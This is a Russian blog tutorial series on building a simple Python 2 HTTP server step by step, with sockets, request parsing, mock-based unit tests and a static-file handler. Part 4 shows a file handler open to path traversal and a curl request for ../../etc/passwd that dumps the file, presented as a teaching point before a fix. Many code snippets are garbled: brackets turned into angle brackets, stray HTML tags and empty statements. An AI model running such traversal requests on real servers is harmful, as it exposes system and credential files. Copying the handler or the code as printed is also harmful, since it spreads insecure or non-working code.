вторник, 14 октября 2014 г.

Python - Веб-сервер своими руками

Часть 1 — Простейший сервер


Многие уже писали себе «сайты» или планируют ими заняться, но при этом плохо представляют себе что же это такое - сайт. Серия постов посвящена построению с нуля учебного (а не супер-быстрого или супер-фичастого) сервера, на примере которого, постараемся разобрать разные практические вопросы из жизни разработчика. Первая, вступительная, часть публичная т.к. возможно многим будет интересно «как это всё устроено». Код на питоне, но это практически псевдокод на английском, поэтому ни у кого тут сложностей возникнуть не должно. Остальные части скорее всего будут показываться только для участников питоноблога.

Сайт это такой многослойный торт, напичканый самыми разными видами крема кода. Давайте посмотрим, что происходит, когда пользователь набирает в браузере http://example.com/ и зачем.

Протокол HTTP работает поверх другого протокола - TCP, в котором никаких example.com нет, а есть 2.50.203.49, поэтому шаг 0 — используя службы DNS браузер получает IP-адрес хоста. Сервер об этом ничего не знает, поэтому и никакого кода этому этапу не соответствует.

Теперь можно установить соединение до сервера. IP нам сообщили, а порт берётся из схемы или задаётся вручную. Обычно это 80. Зная адрес и порт клиент создаёт сокет и открывает соединение, которое сервер принимает.

Для организации канала необходимо две стороны, два сокета. Клиент будет подключаться, а сервер находиться в состоянии ожидания:

1
2
3
4
5
6
import socket  # Всё, что нам нужно для этого лежит в модуле socket.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # параметры для создания TCP-сокета
sock.bind(("", 8000))                                     # слушать на всех адресах, на порту 8000. Чтобы создать сервер на порту ниже 1024 нужен рут.
sock.listen(1)                                            # перевести сокет в режим ожидания входящих соединений
conn, addr = sock.accept()                                # ожидать установки соединения

(Если любопытно, можно заходить на сервер через telnet или netcat или, собственно, браузером и смотреть что происходит)

Когда клиент делает connect, а сервер accept они получают объект-соединение из которго можно читать и писать. Фактически это пара FIFO каналов.

Канал организован, теперь можно сообщить другой стороне о своих намерениях согласно протоколуHTTP.

Первым делом посылается запрос:

1
GET /some/stuff HTTP/1.1\r\n


Потом идут заголовки:

1
Host: example.com\r\n


Запрос оканчивается пустой строкой:

1
\r\n


Клиент своё дело сделал, дальше в игру вступает сервер. От него потребуется разобрать запрос на сегменты: собственно запрос, заголовки и тело.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
data = conn.recv(1024).split("\r\n")        # считываем запрос и бьём на строки
method, url, proto = data<0>.split(" ", 2)  # обрабатываем первую строку

headers = {}
for pos, line in enumerate(data<1:>):  # проходим по строкам и заодно запоминаем позицию
    if not line.strip():               # пустая строка = конец заголовков, начало тела**
        break
    key, value = line.split(": ", 1)   # разбираем строку с заголовком
    headers<key.upper> = value       # приводим ключ к "нормальному" виду чтобы обращение было регистронезависимым

# всё остальное - тело** запроса
body = "\r\n".join(data<pos>)</pos></key.upper>


Имея на руках URL, адрес ресурса**, канал для ответа и остальные запчасти мы можем ответить. Ответ сервера клиенту состоит из тех же трёх частей:

1
2
3
4
5
6
conn.send("HTTP/1.0 200 OK\r\n")           # мы не умеем никаких фишечек версии 1.1, поэтому будем сразу честны
conn.send("Server: OwnHands/0.1\r\n")      # Поехали заголовки...
conn.send("Content-Type: text/plain\r\n")  # разметка нам тут пока не нужна, поэтому говорим клиенту показывать всё как есть
conn.send("\r\n")                          # Кончились заголовки, всё остальное - тело ответа
conn.send("Hi there!")                     # привет мир
conn.close()                               # сбрасываем буфера, закрываем соединение


Устроив такое «короткое замыкание» браузеру и прогулявшись по стеку протоколов обеспечивающих транспорт, мы теперь можем разобрать саму начинку сервера. Тут уже пойдёт варенье вместо крема и мы вольны писать что угодно, не заглядывая в RFC 1945.

Сервер, в том виде, как сейчас обрабатывает всего один запрос и выходит. У такого поведения есть определённая полезность, но Настоящие Сервера так не делают. Продолжим.

Во время и после того, как соединение было принято, обработано и закрыто, с оригинальным сокетом ничего не произошло, он так и оставался в готовности принять новые соединения. И возможно даже уже что-то принял. Код, который будет повторяться завернём в вечный while:

1
2
3
4
while True:
    conn, addr = socket.accept()
    ...  # код работы с соединением
    conn.close()


Каждый раз пересоздавать сокет и выставлять его в режим ожидания не надо. Более того, не получится т.к. порт будет занят предыдущим сокетом и сервер навернётся с соответствующим исключением.

Итого. От сервера требуется:
создать сокет (socket.socket)
настроить его (bind, listen)
принять соединение (accept)
считать и распарсить запрос
придумать ответ
завернуть ответ в протокол
выдать его и закрыть соединение


Больше всего времени он проводит на этапе 5, и по большому счёту, это вообще не его дело, что там будет происходить. А происходить там может много чего. Например:
Тупо ответ как в примере какой-нибудь захардкоденой фигни. Малоприменимо, но в качестве упражнения сойдёт. Реальное применение - всякие empty_gif; у nginx.
Отдача файла с диска. Не барское это дело. Такими вещами должны заниматься очень сильно оптимизированые сервера типа того же nginx. Но мы всё равно попробуем, заодно разберём вопросы безопасности.
Обратное проксирование (сервер сам делает запрос и передаёт результат клиенту). Тоже работа для nginx, но делается просто, поэтому возьмём всё равно.
Выполнение другого скрипта (CGI). Морально устаревший метод вызова на каждый чих подпроцесса. Как-нибудь потом.
Передача обработчику (в стиле modphp, asp). Конёк Apache - в сервер вкорячивается интерпретатор чего угодно, который на каждый урл запускает скрипты. Попытка починить CGI, который «починить» невозможно т.к. он предназначен для другого.
Обработка запроса сервером приложений. Любимое дело Java серверов. Весь код 5го пункта живёт как часть сервера и запускается только один раз, всасывает всё в кэши, после чего как турбовеник только раскидывает запросы.


Кроме того, можно сразу выделить несколько интересных применений протокола, помимо «сайтиков». Фактичски, сайт это API для употребления человеком. Есть ещё несколько классов задач, которые часто встречаются на практике:
RPC, «удалённый вызов процедур». HTTP, благодаря своей минималистичности очень хорошо подходит в качестве транспорта для реализации службы доступа к удалённым объектам. Немного class-ной питонской магии и whatever.you_wish(to="do") начинает выполнятся на сервере, а может даже и сразу на нескольких.
Обёртка вокруг сложных протоколов. Если есть какая-нибудь хитрая библиотека, которая там как-то сложно работает, а её нужно вызывать из кучи языков и сред то, передав в адресе все необходимые параметры, сервер выполнит всю грязную работу и не надо будет переписывать библиотеку для очередного недоязычка. HTTP-клиенты обычно есть везде.
Виртуальные файловые системы. Используя протокол WebDAV (расширение HTTP) можно подключить в виде сетевого диска что угодно - базу данных, поисковый индекс, список рассылки или форум. Что-то типа кроссплатформенного FUSE.


В следующем заходе приведём код в порядок и сделаем большой задел для реализации возможностей в пункте 5.


Часть 2 — наводим порядок.

Один модуль, в котором лежит всё подряд это нормально для мини-серверков, которые просто делают одну функцию и не собираются становиться более универсальными. Используя код из первой частилюбой теперь может выполнять простейшие операции через свой «веб интерфейс», но даже это скоро станет очень тяжело поддерживать.

Поэтому сейчас мы поделим сервер на части и упакуем всё в коробку с бантиком, чтобы модуль можно было использовать в своих целях, не изменяя код самого сервера.

Для начала, применим принцип инкапсуляции и объединим всё барахло сервера и его код в один класс:

1
2
3
4
5
class HTTPServer(object):
    def __init__(self, host='', port=8000):
        """Распихиваем по карманам аргументы для старта"""
        self.host = host
        self.port = port


И заодно допишем к модулю специальный режим, чтобы он мог запускаться как скрипт и делать что-нибудь (условно) полезное:

1
2
3
if __name__ == '__main__':
    server = HTTPServer()
    server.serve()


Этот код будет выполняться только если модуль будет запущен напрямую (python s02.py) или через специальный режим для запуска модулей, лежащих где-то в недрах библиотеки (python -m s02).

Если(когда) вы столкнётесь с ошибкой «Address already in use» это значит, что ОС ещё не освободила адрес и ждёт завершения каких-то своих операций. Такое бывает если сервер обслуживал подключения, а потом крашнулся. В таком случае надо просто подождать несколько секунд.

Теперь можно втащить сюда и рабочий код сервера.

1
2
3
4
5
6
7
8
9
def serve(self):
        """Цикл ожидания входящих соединений"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind((self.host, self.port))  # параметры берём из нашего «контейнера», в который их положили при старте.
        sock.listen(50)                    # количество соединений в очереди, перед тем, как ОС откажется их принимать

        while True:
            conn, addr = sock.accept()     # есть контакт! следующая фаза — разбор чего же там пришло интересного
            self.on_connect(conn, addr)


self — обязательный параметр для всех методов класса через который передаётся конкретный егоэкземпляр.

Код делится на несколько стадий чтобы была возможность их заменять по требованию или вызывать по частям, например для тестирования.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def on_connect(self, conn, addr):
        """Соединение установлено, вычитываем запрос"""
        data = conn.recv(1024).split('\r\n')
        method, url, proto = data<0>.split(' ', 2)

        headers = {}
        for pos, line in enumerate(data<1:>):
            if not line.strip():
                break
            key, value = line.split(': ', 1)
            headers<key.upper> = value

        body = '\r\n'.join(data<pos>)
        self.on_request(method, url, headers, body, conn)</pos></key.upper>


Всё как и раньше, просто это один из логических участков работы с запросом и потенциально может быть переопределён самыми разными способами. Обратите внимание, что не смотря на то, что self передаётся, туда ничего не складывается — никаких соединений, никаких заголовков и всего такого. Оно просто передаётся следующему «работнику конвейера». Причин тут сразу несколько.
Во-первых, это нарушает принципиальное устройство класса: он называется «сервер», а прицеплять туда детали каждого конкретного соединения получается ни к селу ни к городу.
Во-вторых, сервер у нас один, а соединений много. Если обслуживаются сразу несколько соединений, то они будут постоянно перезаписывать разные участки данных друг друга. Это FAIL.
И, в любом случае, как подсказывает нам практика функционального программирования, чем меньше код создаёт побочных эффектов во время своей работы, тем меньше вероятность возникновения и распространения ошибок.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def on_request(self, method, url, headers, body, conn):
        """Обработка запроса"""
        print method, url, repr(body)

        conn.send("HTTP/1.0 200 OK\r\n")
        conn.send("Server: OwnHands/0.1\r\n")
        conn.send("Content-Type: text/plain\r\n")
        conn.send("\r\n")
        conn.send("Hi there!")
        conn.close()


Тут совершенно ничего фантастического пока что нет. Но скоро будет (:

Что же у нас на данный момент получилось? Сервер на любое соединение, на любой запрос без обработки просто по-быстрому отдаёт результат. Интересно, кстати, насколько быстро? Давайте проверим. Воспользуемся утилитой ab из apache-utils:

1
ab -n 5000 'http://localhost:8000/hellow/orld/?whatever=stuff&spam;=eggs'


На нормальном десктопе 5к запросов пролетает за пару секунд даже на таком «медленном» языке, как python. Из отчёта ab нам будут интересны несколько строк:
Requests per second: 4228.88 <#/sec> (mean)
Количество запросов в секунду, которое сервер может через себя пропустить. Если подавать на него меньшее количество, то он будет часть времени простаивать, а если больше - то запросы будут скапливаться в очереди в конце концов отваливаться с ошибкой, о чём станет извествно из соответствующих строк отчёта:
Complete requests: 5000
Failed requests: 0

Ещё хорошим показателем является то, что после окончаний пытаний сервера бенчмарком он остаётся работать и не вылетает на пол пути (=

А как оно будет себя если валить на него сразу много одновременных соединений? Мы ведь никакой явной параллелизации не делали. Давайте посмотрим:
ab -c 10 -n 5000 'http://localhost:8000/hellow/orld/?whatever=stuff&spam;=eggs'
...
Complete requests: 5000
Failed requests: 0
...
Requests per second: 11333.29 <#/sec> (mean)
Опаньки! При десяти (опция -c 10) одновременных соединений он выдаёт даже больше «попугаев» - аж в два раза. Это связано с тем, что ОС действует независимо от сервера. И пока сервер там делает свои дела, она в ядре обрабатывает установку соединений и все эти штучки на более низких уровнях стека протоколов. Готовые к употреблению соединения ОС укладывает в очередь, размер которой задаётся при переводе сокета в режим сервера: sock.listen(50)
Впрочем даже указав -c 1000 мне не удалось завалить свой сервер и ни один запрос небыл потерян :3

Запомним эти цифры, это базовый уровень скорости нашего сервера. В дальнейшем он будет работать всё тормознее и тормознее (8

(Полный код после упаковки в класс.)

А как быстро проверить, что оно вообще работает и будет работать после внесения дальнейших изменений? Для этого мы используем модульное тестирование с помощью nose, который надо `pip install`.

Сами тесты будут лежать в tests.py (так то!) и представлять собой несколько классов, содержащих код, проверяющий работоспособность собственно рабочего кода.

Проверяем:

1
2
3
4
5
6
from s02 import HTTPServer

class TestHttp(object):
    def test_serve(self):
        HTTPServer().serve()
        urlopen("http://localhost:8000/test/me/")

Oops! Сервер начинает слушать порт и пока его вечный цикл не завершится, код дальше не пойдёт. Халявы не вышло...

Давайте внимательно посмотрим что делает метод serve. Он создаёт сокет и ждёт... Ждёт он пока появится доступное соединение, которое он передаст дальше. Больше ничего полезного или хотя бы интересного тут не происходит. И по большому счёту, никакого нашего кода тут нет — все эти операции на сокетах делаются стандартной библиотекой питона, которая протестирована вдоль и поперёк. Попробуем обойтись без этого.

1
def on_connect(self, conn, addr):


Судя по сигнатуре, метод работы с соединением принимает что-то и ещё кое-что. Тоесть ему глубого фиолетово что там будут передавать. Давайте этим и воспользуемся.

1
2
3
def test_serve(self):
        server = HTTPServer()
        server.on_connect("i am a socket", None)


Да, это полная фигня и не должно работать в принципе. Но запустив тесты (nosetests tests.py) мы хотя бы узнаем что именно от нас требуется предоставить в качестве «сокета».

1
2
data = conn.recv(1024).split('\r\n')
AttributeError: 'str' object has no attribute 'recv'


Как минимум, объект должен иметь метод «recv», который получает размер буфера и возвращает строку (split это метод объектов-строк). Пробежися сразу по коду в поисках других обращений к этому conn. Это встречается аж в самом конце последнего метода, но сделаем всё сразу:

1
2
conn.send("Hi there!\n")
conn.close()


Итак, нам понадобится сделать объект, который будет эмулировать соединение и обладать тремя методами: recv, send и close. Такая методика называется «Mock Objects», «липовые объекты».

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
class MockConnection(object):
    def __init__(self, data=''):
        """Создаём буферы для приёма и передачи"""
        self.read = data
        self.sent = ''

    def recv(self, buf_size=None):
        """HTTP читает всё сразу и один раз, поэтому на буфер пофиг"""
        return self.read

    def send(self, data):
        """Просто накапливаем отправленое"""
        self.sent += data

    def close(self):
        """Закрывать нечего, просто заглушка"""
        pass

Такой-вот примитивчик. Для тестов нам хватит, а там дальше что-нибудь придумаем...

Закорачиваем наш сервер на тестовое «соединение» и смотрим что получится:

1
2
3
4
def test_serve(self):
        server = HTTPServer()
        conn = MockConnection()  # типа стартовали и подключились
        server.on_connect(conn, None)


Получается, совсем не внезапно, а вполне ожидаемо, ошибка — ведь мы ещё ничего не отправили по соединению:
method, url, proto = data<0>.split(' ', 2)
ValueError: need more than 1 value to unpack

Пустую строку разделили и получили список из одной пустой строки (можете проверить в интерпретаторе: ''.split('\r\n')). Там, где по протоколу HTTP идёт 3 параметра, split вернул опять один и поломался код распаковки списка по переменным, который очень строго подсчитывает сколько куда должно попасть значений.

Давайте теперь подсунем туда реальный запрос от настоящего клиента. Для этого есть полезная UNIX-утилита netcat:

1
2
3
4
5
6
$ netcat -l 8000
GET /hellow/orld/ HTTP/1.0
User-Agent: Wget/1.12 (linux-gnu)
Accept: */*
Host: localhost:8000
Connection: Keep-Alive

То, что надо! Теперь мы знаем как представиться клиентом.

Но каждый раз вручную составлять все эти строки будет очень неудобно, поэтому сразу же напишем «липовый клиент», который сам «установит соединение с сервером» и вызовет его обработчик:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class MockClient(object):
    def __init__(self, server):
        self.server = server

    def __call__(self, url, method="GET", body='', **headers):
        # Первая строка - запрос
        request = "%s %s HTTP/1.0" % (method, url)

        # Дефолтные заголовки
        headers.setdefault('host', 'localhost')
        headers.setdefault('user_agent', 'MockClient/0.1')
        headers.setdefault('connection', 'close')

        # Приводим заголовки к красивому Http-Виду
        headers = "\r\n".join("%s: %s" %
            ("-".join(part.title() for part in key.split('_')), value)
            for key, value in sorted(headers.iteritems()))

        # Собираем всё в кучу^W HTTP-запрос
        data = "\r\n".join((request, headers, ''))
        data += body

        # Заворачиваем в соединение и пускаем в обработку
        return self.server.on_connect(MockConnection(data), None)

Лично я стараюсь сразу делать код, удобный в использовании. Кому-то не нравится магия-шмагия, а мне сильно приятней писать среди питонского кода в питонском же стиле. Поэтому заголовки передаются как именованые аргументы метода и кодом преобразовываются из «some_header_name="value"» в каноничныйъ «Some-Header-Name: value». Можно было бы передавать туда сразу готовый словарь или даже список, но лично мне такое близкое общение с чужими протоколами не по нраву.


Теперь написание тестов будет попроще.

1
2
3
server = HTTPServer()
client = MockClient(server)
client('/hellow/orld/')


Запускаем тесты, оно работает!

1
2
3
Ran 1 test in 0.001s

OK

Ну... Во всяком случае не вылетает. Но что конкретно работает? Об этом — в следующей части, а то и так уже несколько человек до сюда не дочитало (:


Часть 3 — фиксим фичи, добавляем баги

В предыдущей части мы сделали инстурменты для тестирования серверного кода без участия сокетов. Но это получился самый тривиальный из видов тестов ­— Smoke Test. Сервер запрос обработал, но что именно произошло остаётся загадкой.

Как мы помним из кода, липовое соединение содержит в себе буфер отправленного, в котором оказывается ответ сервера. Можно было бы его сравнить с эталонной строкой, но каждый раз её составлять неудобно и муторно. Поэтому неплохо было бы его распарсить.

Но один раз у нас уже кто-то что-то парсит, а именно — сервер, при получении запроса от клиента. Внимательно посмотрев на траффик можно обнаружить, что протокол практически симметричен. И клиент и сервер обмениваются «сообщениями», состоящими из одних и тех же элементов: строка запроса или ответа (формат одинаковый, немного отличается содержимое), заголовки (формат одинаковый) и тело (необязательное для клиента при GET и для сервера при всяких хитрых статусах).

В то же время, наш тестовый клиент уже содержит генератор запросов, преобразующий аргументы функции согласно протоколу.

Вынесем эти две части как из клиента, так и из сервера:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def parse_http(data):
    lines = data.split('\r\n')
    query = lines<0>.split(' ')

    headers = {}
    for pos, line in enumerate(lines<1:>):
        if not line.strip():
            break
        key, value = line.split(': ', 1)
        headers<key.upper> = value

    body = '\r\n'.join(lines<pos>)

    return query, headers, body


def encode_http(query, body='', **headers):
    data = <" ".join(query)>

    headers = "\r\n".join("%s: %s" %
        ("-".join(part.title() for part in key.split('_')), value)
        for key, value in sorted(headers.iteritems()))

    if headers:
        data.append(headers)

    data.append('')

    if body:
        data.append(body)

    return "\r\n".join(data)</pos></key.upper>


Прежде чем менять актуальный и уже рабочий код, сделаем простенькие тесты конкретно для этого элемента. Они будут лежать в своём отдельном контейнере:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
class TestHTTP(object):
    def test_request(self):
        """тестирование в режиме запроса: клиент сериализует, сервер разбирает"""
        eq_('', encode_http(('GET', '/', 'HTTP/1.0'), user_agent="test/shmest"))
        eq_('', encode_http(('POST', '/', 'HTTP/1.0'), 'post=body', user_agent="test/shmest"))
        eq_((), parse_http('POST / HTTP/1.0\r\nUser-Agent: test/shmest\r\n\r\npost=body'))

    def test_response(self):
        """тестирование в режиме ответа: сервер сериализует, клиент разбирает"""
        data = 'HTTP/1.0 200 OK\r\nSpam: eggs\r\nTest-Me: please\r\n\r\nHellow, orld!\n'

        eq_(data, encode_http(('HTTP/1.0', '200', 'OK'), 'Hellow, orld!\n', test_me='please', spam="eggs"))

        reply, headers, body = parse_http(data)
        eq_(reply, 
)
        eq_(headers, {})
        eq_(body, '')

Это обычные заготовки тестов, которые при запуске будут фейлиться и сообщать, что получено не то, что ожидалось:

1
AssertionError: 'GET / HTTP/1.0\r\nUser-Agent: test/shmest\r\n' != ''


Убедившись «на глаз», что на выходе получается ровно то, что там должно быть согласно входным данным, копипастим (вдумчиво и внимательно!) значения в тесты.

Теперь, когда мы уверены, что всё работает, можно убрать дублирующийся код из клиента и сервера, а заодно добавить функционала.

Сервер сворачивается в один вызов parse и один encode и теперь готов к дальнейшему расширению без лишних усилий на ручное де/кодирование ответов:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def on_connect(self, conn, addr):
    """Соединение установлено, вычитываем запрос"""
    (method, url, proto), headers, body = parse_http(conn.recv(1024))
    self.on_request(method, url, headers, body, conn)

def on_request(self, method, url, headers, body, conn):
    """Обработка запроса"""
    print method, url, repr(body)
    conn.send(encode_http(("HTTP/1.0", "200", "OK"), "Hi there!\n", server="OwnHands/0.1"))
    conn.close()


Тест-клиент делает тоже самое, только в обратном порядке:

1
2
3
4
def __call__(self, url, method="GET", body='', **headers):
    conn = MockConnection(encode_http((method, url, "HTTP/1.0"), body, **headers))
    self.server.on_connect(conn, None)
    return parse_http(conn.sent)


Для новичков в питоне сразу поясню, что за странные «**» в сигнатуре функции и последующем вызове.Показать


Теперь, пнув сервер в лабораторных условиях, мы можем точно узнать его реакцию, дописав соответствующий тест:

1
2
3
4
5
6
7
8
server = HTTPServer()
client = MockClient(server)

reply, headers, body = client('/hellow/orld/')
eq_(reply, 
)
eq_(headers<'SERVER'>, '')
eq_(body, '')


Уже заполненые тесты лежат на гуглькоде, но я считаю, что намного полезней и интересней поиграться и изучить всё это самим.

Заодно обратите внимание, что в отчёте nosetests функции, имеющие строки документации теперь отображаются в человечьем виде вместо «ехал гитлер^W тест через тест…»:

1
2
3
Тестирование в режиме запроса: клиент сериализует, сервер разбирает ... ok
Тестирование в режиме ответа: сервер сериализует, клиент разбирает ... ok
tests.TestServer.test_serve ... ok


Вот теперь мы готовы запилить что-нибудь полезное. Сервер выдающий один и тот же ответ мало интересен, поэтому надо сделать возможность расширения функционала. Тоесть потребуются какие-то обработчики и возможность их встраивать в код без наследования и перезаписи кусков кода сервера.

Можно было бы вешать код просто на URL, но это малоинтересно и не позволяет сделать какие-нибудь более продвинутые схемы. Сразу разделим обработчики на две фазы: pattern и handler. Первый занимается определением, надо ли вообще вызывать обработчик - получает всё, что сервер знает о запросе и выдаёт своё веское решение. Второй собственно знает, что его вызывают не просто так и пора заняться своей непосредственной работой - ответом.

Но сервер знает много чего, и это много передавать в виде аргументов очень неудобно. Поэтому завернём всё наше хозяйство в объект Request:

1
2
3
4
5
6
7
8
9
class Request(object):
    """Контейнер с данными текущего запроса и средством ответа на него"""

    def __init__(self, method, url, headers, body, conn):
        self.method = method
        self.url = url
        self.headers = headers
        self.body = body
        self.conn = conn


Пропишем сразу серверу в on_connect, чтобы он его использовал и передавал дальше уже всё готовенькое:

1
self.on_request(Request(method, url, headers, body, conn))


Сам же on_request теряет всю свою кучу аргументов и получает один (два, если вместе с self):

1
2
3
def on_request(self, request):
    """Обработка запроса"""
    print request


Хм.. При запросе сервер выводит какую-то нечитабельную лабуду в консоль. Это легко исправить. print пытается все свои аргументы привести сначала строковому виду, тоесть к типу str. Посмотреть что будет выводиться можно в терминале, сделав это вручную:

1
2
&gt;&gt;&gt; str(Request())
'<__main__.Request instance at 0x7f5a8a564488>'


В питоне всё-это-объект™ и у всех объектов может быть определён «волшебный» метод __str__ который будет в таких случаях вызываться. Там есть ещё много других интересных и странных методов, позволяющих сделать объект функцией или словарём или чёрти чем ещё. Пока что ограничимся просто читабельностью нашего контейнера и покажем пользователю немного содержимого:

1
2
def __str__(self):
    return "%s %s %r" % (self.method, self.url, self.headers)


Время разработчика очень ценно, а дублирование кода очень вредно. Поэтому, чтобы поймать сразу двух зайцев, скроем работу с соединением за функцией-помощником reply:

1
2
3
4
5
6
7
8
9
def reply(self, code='200', status='OK', body='', **headers):
    headers.setdefault('server', 'OwnHands/0.1')
    headers.setdefault('content_type', 'text/plain')
    headers.setdefault('content_length', len(body))
    headers.setdefault('connection', 'close')
    headers.setdefault('date', datetime.now().ctime())

    self.conn.send(encode_http(('HTTP/1.0', code, status), body, **headers))
    self.conn.close()


Она сразу выставит дефолтные заголовки, которые при желании можно передать самому, но они практически обязательны и совершенно нет смысла их формировать каждый раз вручную. При очень большом желании, обработчик может взять request.conn и ответить так, как ему надо. Но такое требуется редко.

Посылка готова, можно отправлять. Но ещё надо составить список возможных получателей. Добавим в конструктор сервера инициализацию списка обработчиков:

1
self.handlers =

И метод их регистрации, в котором просто добавляем пару шаблон-обработчик в этот список:

1
2
def register(self, pattern, handler):
    self.handlers.append((pattern, handler))


Теперь on_request может стать диспетчером:

1
2
3
4
5
6
7
for pattern, handler in self.handlers:
    if pattern(request):  # aim!
        handler(request)  # fire!
        return True       # работа по запросу завершена, откидываемся

# никто не взялся ответить
request.reply('404', 'Not found', 'Письмо самурай получил\nТают следы на песке\nСтраница не найдена')


Обновим тесты, с учётом всех нововведений. Класс, содержащий сценарии тестирования будет иметь несколько методов, каждый из которых будет создавать сервер, клиент для него и дальше делать свои дела. Дублирование кода детектед! К счастью, методика модульного тестирования уже давно решила эту задачу. Собственно для этого мы и используем тут классы, а не просто функции test_something. Специальный метод setup позволяет делать одинаковую настройку для каждого последующего запуска серии тестов:

1
2
3
4
class TestServer(object):
    def setup(self):
        self.server = HTTPServer()
        self.client = MockClient(self.server)


Попробуем теперь протестировать поведение пустого сервера без обработчиков. Клиент уже создан и настроен, поэтому сразу выстреливаем запрос:

1
2
3
4
def test_404(self):
    reply, headers, body = self.client('/you/cant/find/me/?yet')
    eq_(reply, <'HTTP/1.0', '404', 'Not found'>)
    eq_(headers<'SERVER'>, 'OwnHands/0.1')


Всё в порядке, можем продолжать. Зарегистрируем пару обработчиков и попробуем наш API на вкус:

1
2
3
4
5
6
7
def test_handlers(self):
    self.server.register(lambda r: r.url.startswith('/hello/'), # pattern
                         lambda r: r.reply(body='hi'))          # handler

    reply, headers, body = self.client('/hello/world/')
    eq_(reply<1>, '200')
    eq_(body, 'hi')


Одна из самых удобных возможностей питона — передавать функции в качестве аргументов, укладывать их в списки и назначать в переменные. Безо всяких if/case/goto и подобной чертовщины. lambda это выражение для создания анонимной функции; сжатый аналог def, которую можно создавать на ходу и передавать дальше не отвлекаясь от структуры кода.

Как и обещалось, проверять можно не только урл, но и всё, что доступно в запросе:

1
2
3
4
5
6
self.server.register(lambda r: r.method == 'POST',    # отлавливать все посты
                     lambda r: r.reply(body=r.body))  # зеркалим тело запроса

reply, headers, body = self.client('/looking/for/a/POST/', 'POST', 'any url') # отправляем
eq_(reply<1>, '200') # всё в порядке
eq_(body, 'any url') # ловим то, что отправили


Тесты работают и можно приступать к реализации модулей, описаных в первой части.

PS: Специальный бонус для осиливших весь пост целиком \o/
Показать

Тесты это хорошо, очень хорошо. Но по ходу разрастания проекта хочется знать какие участки нотариально™ заверены, а какие ещё только предстоит покрыть.

У nose есть плагин, позволяющий оценить процент покрытия и отметить строки кода, в которые никто не заходил во время работы юниттестов. Ставится он из pip и называется nose-cov. При запуске с опцией --with-cover помимо отчётов об успешности будет выведена ещё таблица покрытия:
1
2
3
4
Name    Stmts   Miss  Cover   Missing
-------------------------------------
serve      66      8    88%   70-76, 99-100
-------------------------------------

70-76 это строки, где создаётся сокет и запускается вечный цикл обработки подключений.
99-100 это запуск дефолтного сервера, там тоже ничего интересного нет.


(Полный код тестов и сервера)


Часть 4 — раздача файлов

Переходим к более практической части. Хардкодом побаловались, далее по плану идёт раздача файлов.

Я пока смутно представляю какой должна быть реализация, но зато примерно знаю как можно проверить её правильность. Поэтому эти знания мы сейчас выразим в виде теста, к несуществующему пока коду. Такой подход называется Test-driven Development или TDD. Тоесть мы сначала строим измеритель выхлопа, а потом уже на другом конце собираем карбюратор, соответствующий заданым параметрам (= Контринтуитивный манёвр, но частенько помогает определиться с API ещё до написания кода, который потом, во время изменения задачи придётся переписывать. А зачем делать двойную работу?

Обработчики являются как бы плагинами к серверу, он от них никак не зависит, и поэтому должны лежать в отдельном модуле (handlers.py).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
class TestHandlers(object):
    def setup(self):
        self.server = HTTPServer()
        self.client = MockClient(self.server)

    def test_static(self):
        """Раздача файлов с диска"""

        self.server.register(lambda r: True, serve_static) # обслуживать все запросы как файл-сервер

        eq_('404', self.client('/give-me-nice-404')<0><1>)

        reply, headers, body = self.client('/handlers.py') # файл из каталога сервера
        data = open('handlers.py').read()                  # загружаем тот же файл вручную
        eq_(body, data)                                    # проверяем содержимое
        eq_(int(headers<'CONTENT-LENGTH'>), len(data))     # и заголовок с длиной, которую сервер должен нам посчитать


Функцию serve_static надо будет импортировать в начале тестов, а в handlers.py сделать заглушку:

1
2
def serve_static(request):
    request.reply(body="your file %s is being downloaded. wait 1 minute for a link or send SMS to numer 100500")


Тесты начнут дружно валиться, но теперь понятно что должно быть внутри функции:

1
2
3
4
5
6
7
8
def serve_static(request):
    try:
        data = open(request.url<1:>).read()  # отрезаем начальный / из адреса и считываем файлы
    except IOError as err:                   # если что-то не получилось, ловим ошибку
        if err.errno == 2:                   # ничего особенного, просто нет такого файла
            return request.reply('404', 'Not found', '%s: not found' % request.url)
        raise                                # всё остальное - не наше дело
    request.reply(body=data, content_length=len(data))


Теперь всё проходит. Можно сделать «однострочный веб сервер» для раздачи файлов из текущего каталога в баше, который можно вызывать через `python -m serve`. Пока оно не установлено в пути python из любого каталога конечно не прокатит, но из возле самого сервера работать вполне будет.

1
2
3
4
5
if __name__ == '__main__':
    server = HTTPServer()
    from handlers import serve_static
    server.register(lambda _: True, serve_static)
    server.serve()


Запускаем, пробуем:

1
2
3
4
curl http://localhost:8000/handlers.py
def serve_static(request):
    try:
...


Работает. Пробуем дальше:

1
2
3
4
5
6
curl http://localhost:8000/../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...


Ой! К счастью сервер запущен не от рута и /etc/shadow в безопасности. Но сервер при этом жёстко крашнется:

1
2
3
4
5
6
GET /../../../../../../../../../../../etc/shadow {'HOST': 'localhost:8000', 'ACCEPT': '*/*', 'USER-AGENT': 'curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18'}
Traceback (most recent call last):
...
  File "handlers.py", line 5, in serve_static
    data = open(request.url<1:>).read()
IOError: <errno> Permission denied: '../../../../../../../../../../../etc/shadow'</errno>


Сразу допишем в test_handlers вредный тест, который будет рушить «сервер» в комфортной обстановке:

1
2
self.server.register(lambda r: r.url == '/crash/me/', lambda r: no_you)
eq_('500', self.client('/crash/me/')<0><1>)

Тесты начали фэйлиться с «NameError: global name 'no_you' is not defined». Замечательно, то что нужно.

